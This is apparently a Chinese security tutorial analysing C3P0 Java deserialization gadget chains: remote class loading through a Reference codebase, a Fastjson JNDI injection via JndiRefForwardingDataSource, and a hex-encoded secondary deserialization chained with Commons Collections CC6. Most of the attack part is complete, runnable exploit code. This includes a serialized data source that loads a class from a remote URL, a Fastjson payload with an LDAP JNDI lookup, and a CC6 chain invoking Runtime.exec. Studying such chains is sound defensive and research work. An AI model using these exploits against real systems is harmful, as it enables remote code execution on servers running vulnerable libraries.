C3P0 链

C3P0 是一个 JDBC 连接池,用于管理数据库连接,避免频繁创建和销毁连接带来的性能开销,类似于 Druid。

**JDBC:**Java 访问数据库的标准接口,Java 代码通过 JDBC 与数据库交互,不直接使用 TCP。

**连接池:**提前创建一批数据库连接并复用,避免每次操作都新建/关闭连接(类似线程池)。

**C3P0:**具体的连接池实现(与 Druid 同类),支持数据源和 JNDI 绑定,常用于 Hibernate、Spring 等框架。

流程分析

pom.xml

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

C3P0 常见的利用方式有如下三种

  • URLClassLoader 远程类加载
  • JNDI 注入
  • 利用 HEX 序列化字节加载器进行反序列化攻击

URLClassLoader 远程类加载

C3P0 支持 JNDI Reference 数据源,而 Reference 天然包含一个远程类加载的机制(codebase + factory class)。这个机制被 referenceToObject()实现,而它恰好可以被攻击者控制。

定位到该类方法:

Sink:com.mchange.v2.naming.ReferenceableUtils#referenceToObject

  • Reference对象中取出 factoryClassNamecodebase URL
  • URLClassLoader加载远程的 factory 类。
  • 调用 newInstance()实例化该类 → 触发恶意代码。

找到 sink 后,向上追溯谁调用了 referenceToObject()

ReferenceIndirector.getObject()调用了 referenceToObject()

PoolBackedDataSourceBase.readObject()调用了 ReferenceIndirector.getObject()

readObject()是反序列化的入口

流程:

1
2
3
4
5
6
7
8
9
10
readObject()

→ PoolBackedDataSourceBase.readObject()

→ ReferenceIndirector.getObject()

→ ReferenceableUtils.referenceToObject()

→ URLClassLoader.loadClass() + newInstance()

验证 sink 可用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import com.mchange.v2.naming.ReferenceableUtils;
import javax.naming.Name;
import javax.naming.Reference;
import javax.naming.Context;
import java.util.Hashtable;
import java.lang.reflect.Method;

public class test {
public static void main(String[] args) throws Exception {
// 1. 获取 ReferenceableUtils 类
Class<?> clazz = ReferenceableUtils.class;

// 2. 创建恶意的 Reference 对象(指向远程类)
Reference reference = new Reference("calc", "calc", "http://127.0.0.1:9999/");

// 3. 获取 referenceToObject 方法
Method method = clazz.getDeclaredMethod(
"referenceToObject",
Reference.class,
Name.class,
Context.class,
Hashtable.class
);
method.setAccessible(true);

// 4. 调用静态方法(第一个参数传 null)
Object result = method.invoke(null, reference, null, null, null);

}
}

分析入口 PoolBackedDataSourceBase.readObject()

传入的对象必须实现 IndirectlySerialized 接口

1
o instanceof IndirectlySerialized

然后进入进入 ReferenceSerialized.getObject(),然后恶意代码就已经发生了

1
o = ((IndirectlySerialized) o).getObject()

问题在于,ConnectionPoolDataSource 是一个接口,并且没有继承 Serializable 接口。

既然原生不可序列化,C3P0 框架自己平时是怎么把它序列化存进文件的呢 ,可以看它自己怎么搞的PoolBackedDataSourceBase#writeObject() ,C3P0 在序列化时,并没有直接写接口,而是调用了 ReferenceIndirector.indirectForm() 进行了一层“包装”

1
2
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );

跟进indirector.indirectForm,发现返回ReferenceSerialized,发现ReferenceSerialized继承了IndirectlySerialized接口

1
private static class ReferenceSerialized implements IndirectlySerialized

这个IndirectlySerialized接口实现了 Serializable 接口

  • sink 确认ReferenceableUtils.referenceToObject()验证了 URLClassLoader 加载远程类的可行性。➜ EXP 中通过 Evil.getReference()返回的 Reference最终也会进入该方法。
  • 入口分析发现: PoolBackedDataSourceBase.readObject()要求反序列化的对象必须是 IndirectlySerialized类型,才能调用其 getObject()方法。➜ EXP 中不直接构造 ReferenceSerialized,而是利用 writeObject的自动包装机制。
  • 序列化包装:PoolBackedDataSourceBase.writeObject()会调用 ReferenceIndirector.indirectForm(),将 ConnectionPoolDataSource包装成 ReferenceSerialized(实现了 IndirectlySerializedSerializable)。➜ EXP 中通过反射设置 connectionPoolDataSource字段为一个同时实现了 ConnectionPoolDataSourceReferenceable的对象,这样 indirectForm就能自动提取 Reference并完成包装。
  • EXP 构造最终 EXP 的关键是:**提供一个同时实现 ****ConnectionPoolDataSource****和 ****Referenceable**的类,通过反射赋值给 connectionPoolDataSource字段,然后序列化 ComboPooledDataSource。反序列化时,自动走完包装 → getObject()referenceToObject()→ URLClassLoader 加载远程类 → RCE。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import com.mchange.v2.c3p0.ComboPooledDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.logging.Logger;

public class C3P0URLClassLoaderEXP {
// 静态内部类:同时实现 ConnectionPoolDataSource 和 Referenceable
static class Evil implements ConnectionPoolDataSource, Referenceable {
public Reference getReference() {
return new Reference("calc", "calc", "http://127.0.0.1:9999/");
}
// 下面全是空实现,复制粘贴别删
public PooledConnection getPooledConnection() throws SQLException { return null; }
public PooledConnection getPooledConnection(String u, String p) throws SQLException { return null; }
public java.io.PrintWriter getLogWriter() throws SQLException { return null; }
public void setLogWriter(java.io.PrintWriter w) throws SQLException {}
public void setLoginTimeout(int s) throws SQLException {}
public int getLoginTimeout() throws SQLException { return 0; }
public Logger getParentLogger() { return Logger.getLogger(""); }
}

public static void main(String[] args) throws Exception {
ComboPooledDataSource ds = new ComboPooledDataSource();
Field f = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
f.setAccessible(true);
f.set(ds, new Evil());

ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(ds);
new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())).readObject();
}
}

fastjson+JNDI 注入

这条链子是基于 Fastjson 链子的,也就是说,是 Fastjson 的某一条链

Sink:com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference

通过全局搜索关键字 Jndi,找到了 dereference() 方法,该方法内部存在明显的 JNDI 注入触发点:ctx.lookup(jndiName)

往上找入口,同类inner()

发现类中有大量的 getter/setter 方法调用了 inner()。这意味着它完美符合 Fastjson 的利用条件。

选择setLoginTimeout()。它只需要传入一个整型(int)参数,在构造 Fastjson 的 JSON Payload 时极其简单。

先导入 fastjson 的包,就先导 1.2.24 的吧,因为 1.2.25 版本的 fastjson 当中就已经把 <font style="color:rgb(83, 83, 96);">com.mchange</font> 包加入了黑名单里面。

1
2
3
4
5
<dependency>  
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

<font style="color:rgb(83, 83, 96);">JndiRefForwardingDataSource</font> 的 EXP 如下

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class JndiExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1389/Calc\",\"loginTimeout\":1}";
JSON.parse(payload);
}
}

C3P0 之 hexbase 攻击利用

基于 Hex(十六进制)字符串的二次反序列化链

**Sink: **com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray

这里可以触发原生 readObject() 方法

com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[], boolean)把字节流传给的deserializeFromByteArray()

com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString 该方法将传入的 Hex(十六进制)字符串读取,并转码还原为原始的字节流数组,将这个字节流数组传入 SerializableUtils.fromByteArray()

WrapperConnectionPoolDataSource 类的构造函数(或者能触发其属性赋值的地方)在给 userOverrides 属性赋值时,系统主动调用了 C3P0ImplUtils.parseUserOverridesAsString() 进行处理

但是需要先判断,if (“userOverridesAsString”.equals(propName)),但是setUserOverridesAsString,触发一个属性改变事件

1
2
3
4
5
// 监听器内部代码片段:
if ("userOverridesAsString".equals(propName)) {
// 触发!去解析你刚传进来的 Hex 字符串!
this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String) evt.getNewValue());
}

无参构造函数里的那句 this( true );的意思就是在当前构造函数里,去调用本类的另一个带参数的构造函数。

那么就可以构造exp,

pom.xml

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package org.example;

import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class HexBaseFastjsonEXP {

//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");

// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

return expMap;
}


static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);

//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);


}
}